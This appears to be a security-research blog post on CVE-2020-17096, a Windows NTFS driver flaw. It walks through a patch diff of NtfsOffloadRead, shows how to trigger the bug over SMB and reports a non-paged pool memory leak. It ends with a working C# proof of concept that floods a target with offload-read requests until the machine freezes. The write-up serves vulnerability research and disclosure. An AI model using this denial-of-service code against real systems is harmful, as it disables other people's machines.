NTFS Remote Code Execution (CVE-2020-17096) Analysis

SHARE THIS ARTICLE

Follow zecops

This is an analysis of the CVE-2020-17096 vulnerability published by Microsoft on December 12, 2020. The remote code execution vulnerability assessed with Exploitation: “More Likely”,  grabbed our attention among the last Patch Tuesday fixes.

Diffing ntfs.sys

Comparing the patched driver to the unpatched version with BinDiff, we saw that there’s only one changed function, NtfsOffloadRead.

Diffing ntfs sys

The function is rather big, and from a careful comparison of the two driver versions, the only changed code is located at the very beginning of the function:

BinDiff - NtfsOffloadRead
uint NtfsOffloadRead(PIRP_CONTEXT IrpContext, PIRP Irp)
{
  PVOID decoded = NtfsDecodeFileObjectForRead(...);
  if (!decoded) {
    if (NtfsStatusDebugFlags) {
      // ...
    }
    // *** Change 1: First argument changed from NULL to IrpContext
    NtfsExtendedCompleteRequestInternal(NULL, Irp, 0xc000000d, 1, 0);
    // *** Change 2: The following if block was completely removed
    if (IrpContext && *(PIRP *)(IrpContext + 0x68) == Irp) {
      *(PIRP *)(IrpContext + 0x68) = NULL;
    }
    if (NtfsStatusDebugFlags) {
      // ...
    }
    return 0xc000000d;
  }

  // The rest of the function...
}

Triggering the vulnerable code

From the name of the function, we deduced that it’s responsible for handling offload read requests, part of the Offloaded Data Transfers functionality introduced in Windows 8. An offload read can be requested remotely via SMB by issuing the FSCTL_OFFLOAD_READ control code.

Indeed, by issuing the FSCTL_OFFLOAD_READ control code we’ve seen that the NtfsOffloadRead function is being called, but the first if branch is skipped. After some experimentation, we saw that one way to trigger the branch is by opening a folder, not a file, before issuing the offload read.

Exploring exploitation options

We looked at each of the two changes and tried to come up with the simplest way to cause some trouble to a vulnerable computer.

  • First change: The NtfsExtendedCompleteRequestInternal function wasn’t receiving the IrpContext parameter.

    Briefly looking at NtfsExtendedCompleteRequestInternal, it seems that if the first parameter is NULL, it’s being ignored. Otherwise, the numerous fields of the IrpContext structure are being freed using functions such as ExFreePoolWithTag. The code is rather long and we didn’t analyze it thoroughly, but from a quick glance we didn’t find a way to misuse the fact that those functions aren’t being called in the vulnerable version. We observed, thought, that the bug causes a memory leak in the non-paged pool which is guaranteed to reside in physical memory.

    We implemented a small tool that issues offload reads in an infinite loop. After a couple of hours, our vulnerable VM ran out of memory and froze, no longer responding to any input. Below you can see the Task Manager screenshots and the code that we used.

  • Second change: An IRP pointer field, part of IrpContex, was set to NULL.

    From our quick attempt, we didn’t find a way to misuse the fact that the IRP pointer field is set to NULL. If you have any ideas, let us know.

What about remote code execution?

We’re curious about that as much as you are. Unfortunately, there’s a limited amount of time that we can invest in satisfying our curiosity. We went as far as finding the vulnerable code and triggering it to cause a memory leak and an eventual denial of service, but we weren’t able to exploit it for remote code execution.

It is possible that there’s no actual remote code execution here, and it was marked as such just in case, as it happened with the “Bad Neighbor” ICMPv6 Vulnerability (CVE-2020-16898). If you have any insights, we’ll be happy to hear about them.

CVE-2020-17096 POC (Denial of Service)

Before. An idle VM with a standard configuration and no running programs.

After. The same idle VM after triggering the memory leak, unresponsive.

using (var trans = new Smb2ClientTransport())
{
    var ipAddress = System.Net.IPAddress.Parse(ip);
    trans.ConnectShare(server, ipAddress, domain, user, pass, share, SecurityPackageType.Negotiate, true);

    trans.Create(
        remote_path,
        FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,
        FsImpersonationLevel.Anonymous,
        FsFileAttribute.FILE_ATTRIBUTE_DIRECTORY,
        FsCreateDisposition.FILE_CREATE,
        FsCreateOption.FILE_DIRECTORY_FILE);

    FSCTL_OFFLOAD_READ_INPUT offloadReadInput = new FSCTL_OFFLOAD_READ_INPUT();
    offloadReadInput.Size = 32;
    offloadReadInput.FileOffset = 0;
    offloadReadInput.CopyLength = 0;

    byte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);

    while (true)
    {
        trans.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);
        trans.ExpectIoctlPayload(out _, out _);
    }
}

C# code that causes the memory leak and the eventual denial of service. Was used with the Windows Protocol Test Suites.

reverse bounty

Researcher? Analyst?

If you get excited about exploits reproduction like we do, you would love ZecOps Reverse Bounty program - details ahead!

Contact Us >

Partners, Resellers, Distributors and Innovative Security Teams

ZecOps provides the industry-first automated crash forensics platform across devices, operating systems and applications.

Learn more >

SHARE THIS ARTICLE